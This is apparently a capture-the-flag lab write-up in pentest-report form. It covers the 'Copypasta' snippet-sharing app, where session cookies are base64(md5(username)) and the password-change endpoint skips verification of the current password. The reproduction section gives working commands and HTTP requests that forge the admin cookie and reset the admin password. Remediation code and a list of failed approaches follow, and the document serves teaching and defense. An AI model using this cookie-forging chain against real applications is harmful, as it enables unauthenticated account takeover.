BugForge — 2026.05.08

Copypasta: Predictable Session Token + Unverified Password Change

BugForge Predictable Session Token + Unverified Password Change easy

Part 1: Pentest Report

Executive Summary

Copypasta is a code snippet sharing platform on Express + React, structurally similar to Pastebin or GitHub Gist. Testing identified an unauthenticated full account takeover path against any user (including admin) by combining a deterministic session cookie format with a password change endpoint that does not verify the existing password.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Predictable session token + unverified password change Critical 9.8 CWE-330, CWE-620 PUT /api/profile/password

The flag was delivered in an x-flag response header on the password change request once admin’s password was actually changed using a forged session cookie. The lab’s tripwire fires only on a successful admin password reset, confirming end-to-end compromise of the admin account from an unauthenticated starting position.


Objective

Pentest the Copypasta web application, mapping the auth surface and exercising any path that yields data access across users or full account compromise.


Scope / Initial Access

# Target Application
URL: https://lab-1778200664946-zbg8zi.labs-app.bugforge.io

# Auth details
Registration:        open via POST /api/register {username, email, password, full_name}
Login:               POST /api/login
Session cookie:      Cookie `session=<base64(32 hex chars)>` URL-encoded
Starting privileges: unauthenticated

Registration is open, so the engagement starts from zero credentials and registers a throwaway user as a baseline.


The session cookie’s shape was the key recon signal. After a few sequential registrations, the issued cookies all looked like the same fixed length hash payload, which made a “what hash is this, of what input” probe the cheapest next step.

  1. Sequential registrations produced session cookies of identical structure: session=<base64-wrapped 32 hex string>%3D. Same length, same shape across every account.
  2. The 32 hex character payload length matches the output size of md5 exactly.
  3. Computing md5(username) for each registered account matched the base64-decoded cookie byte for byte. Five accounts tested, five matches.
  4. The endpoint GET /api/profile/:username returns 200 for valid usernames and 404 for unknown ones, providing a confirmation channel for the standard admin username.

These four observations together enable a one request exploit: the session cookie of any user whose username is known is computable offline, and the standard admin username is confirmed to exist.


Application Architecture

Component Detail
Backend Express (x-powered-by: Express)
Frontend React SPA, ~515KB bundle
Auth Server-issued session cookie, base64-wrapped 32 hex characters
Database Not directly observable; snake_case JSON keys (is_public, share_code, user_id)
Hardening headers None observed (no CSP, XFO, X-Content-Type-Options, anti-CSRF token)

API Surface (relevant subset)

Endpoint Method Auth Notes
/api/register POST No Issues session on success
/api/login POST No Re-issues session matching base64(md5(username)) byte for byte
/api/verify-token GET Cookie 200 with user object on valid session, 401 otherwise
/api/profile/:username GET Cookie 200/404 split provides username confirmation
/api/profile/password PUT Cookie Body {password}; no current password challenge

Known Users

Username ID Role
admin 1 admin
coder123 2 user
pythonista 3 user
(seeded user 4) 4 user
haxor (registered for testing) 5 user

Attack Chain Visualization

┌──────────────────┐    ┌──────────────────┐    ┌──────────────────┐    ┌──────────────────┐
│ Register users,  │    │ Confirm session  │    │ Forge admin      │    │ PUT password     │
│ inspect cookie   │ ──▶│ = base64(md5(    │ ──▶│ cookie via       │ ──▶│ change. flag in  │
│ format           │    │ username))       │    │ md5("admin")     │    │ x-flag header    │
└──────────────────┘    └──────────────────┘    └──────────────────┘    └──────────────────┘

Findings

F1: Predictable Session Token + Unverified Password Change

Severity: Critical CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-330 (Use of Insufficiently Random Values), CWE-620 (Unverified Password Change) Endpoint: PUT /api/profile/password Authentication required: No (a session cookie can be forged for any known username)

Description

The defect compounds two flaws on the server:

  1. Predictable session token. The server issues session cookies of the form base64(md5(username)) URL-encoded. The formula was verified by registering five accounts and observing each issued cookie match the computed hash byte for byte. Independently re-confirmed by logging in as admin (after changing admin’s password via the forged session) and observing the Set-Cookie returned by POST /api/login match the forged cookie byte for byte.
  2. Password change without current password verification. PUT /api/profile/password resolves the target user from the session cookie and accepts a body of {"password": "..."} only. The endpoint does not challenge the existing password.

A forged session cookie for admin, paired with a single PUT request, overwrites admin’s password without any prior credentials.

Impact

Full account takeover of any user, including admin, from an unauthenticated starting position.

Reproduction

Step 1: Compute the forged admin session cookie

printf admin | md5sum
# 21232f297a57a5a743894a0e4a801fc3

printf 21232f297a57a5a743894a0e4a801fc3 | base64 -w0
# MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=

# URL-encode trailing '=' as '%3D':
# MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D

The resulting string matches the format of admin’s server-issued session cookie. The same construction was verified against five other registered accounts.

Step 2: Verify the forged session is accepted

GET /api/verify-token HTTP/1.1
Host: lab-1778200664946-zbg8zi.labs-app.bugforge.io
Cookie: session=MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D

Response:

HTTP/1.1 200 OK

{"user":{"id":1,"username":"admin","role":"admin","email":"[email protected]",...}}

The forged cookie is accepted as admin’s session.

Step 3: Change admin’s password using the forged session

PUT /api/profile/password HTTP/1.1
Host: lab-1778200664946-zbg8zi.labs-app.bugforge.io
Cookie: session=MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Content-Type: application/json

{"password":"pwned_by_haxor_v2"}

Response:

HTTP/1.1 200 OK
x-flag: bug{v5syxTXKo1hvnk2rIPMxK1WChd6bickx}
Content-Type: application/json

{"message":"Password updated"}

The flag is delivered in the x-flag response header. The lab tripwire fires only on a successful admin password change.

Remediation

Fix 1: Replace deterministic session derivation with random session IDs stored on the server

// BEFORE (Vulnerable)
function issueSession(username) {
  const sessionId = md5(username);
  return base64(sessionId);
}

function authenticateRequest(cookie) {
  const sessionId = base64.decode(cookie);
  return User.findOne({ session_md5: sessionId });
}
// AFTER (Secure)
function issueSession(userId) {
  const sessionId = crypto.randomBytes(32).toString('hex');
  await SessionStore.set(sessionId, {
    userId,
    issuedAt: Date.now(),
    expiresAt: Date.now() + SESSION_TTL_MS
  });
  return sessionId;
}

function authenticateRequest(cookie) {
  const session = await SessionStore.get(cookie);
  if (!session || session.expiresAt < Date.now()) return null;
  return User.findById(session.userId);
}

Fix 2: Require current password verification on password change

// BEFORE (Vulnerable)
app.put('/api/profile/password', requireSession, async (req, res) => {
  const { password } = req.body;
  await User.updatePassword(req.session.userId, password);
  res.json({ message: 'Password updated' });
});
// AFTER (Secure)
app.put('/api/profile/password', requireSession, async (req, res) => {
  const { current_password, new_password } = req.body;
  const user = await User.findById(req.session.userId);
  const valid = await bcrypt.compare(current_password, user.password_hash);
  if (!valid) return res.status(401).json({ error: 'Current password is incorrect' });
  await User.updatePassword(user.id, new_password);
  res.json({ message: 'Password updated' });
});

Additional recommendations:

  • Set session cookie attributes Secure, HttpOnly, SameSite=Strict (or Lax).
  • Enforce session expiration and revoke active sessions on password change.
  • Send an out of band notification (email) on password change events.
  • Log password change events to a security audit channel.
  • Sanitize user-content fields (snippet code, comments, profile bio) at storage time as defense in depth, since rendering paths can change later.

OWASP Top 10 Coverage

  • A07:2021 Identification and Authentication Failures: Session cookies are a deterministic transform of a publicly known field (username), allowing offline pre-computation of any user’s session.
  • A01:2021 Broken Access Control: The password change endpoint authenticates only via the session and applies the change without verifying the current password, removing the second factor that normally guards against session theft.

Tools Used

Tool Purpose
Burp Suite Intercept, inspect, and replay HTTP requests
coreutils (md5sum, base64) Compute hash candidates and encode session cookies
curl Reproduce the chain with the forged cookie

References

  • CWE-330: https://cwe.mitre.org/data/definitions/330.html
  • CWE-620: https://cwe.mitre.org/data/definitions/620.html
  • OWASP Session Management Cheat Sheet
  • OWASP Authentication Cheat Sheet

Part 2: Notes / Knowledge

Key Learnings

  • Session cookies that look like hashes deserve a quick exploratory probe before you assume server-side randomness. A 32-hex (md5), 40-hex (sha1), or base64-wrapped equivalent in a session= cookie is a tell. Register two or three accounts back to back, dump the issued cookies, and try md5/sha1 of every known identity field (username, email, user_id, registration timestamp) against each. A match means the cookie can be enumerated, so any user’s session is accessible.

Failed Approaches

Approach Result Why It Failed
Role escalation via mass assignment on POST /api/register or PUT /api/profile (role: "admin") Body extras silently dropped; response shows role: "user" Server-side allowlist on writable profile fields
Account takeover via mass assignment on PUT /api/profile/password body extras (username, user_id, targetUser, id, email) All extras ignored; endpoint resolves user from session cookie alone Endpoint reads target user from session, not body
IDOR on PUT /api/snippets/:id and DELETE /api/snippets/:id 403 “Not authorized” for both public and private snippets owned by other users Server-side ownership check enforced on writes
DELETE /api/profile Express default 404 Route does not exist on the server; JS bundle reference was dead code
Stored XSS via snippet code, comment content, or profile bio Rendered output is HTML-escaped on the page React JSX text-binding auto-escapes; no markdown or HTML render path is invoked
GET /api/snippets/share/:code private snippet bypass 401 without an authenticated session UUIDv4 share codes are not predictable; access still requires authentication
Quick SQLi probe on numeric paths and login inputs No error or response shape divergence Inputs appear parameterized

Tags: #bugforge #predictable-session #session-token #cwe-330 #cwe-620 #account-takeover #unauthenticated Document Version: 1.0 Last Updated: 2026-05-08

#bugforge #predictable-session #session-token #cwe-330 #cwe-620 #account-takeover #unauthenticated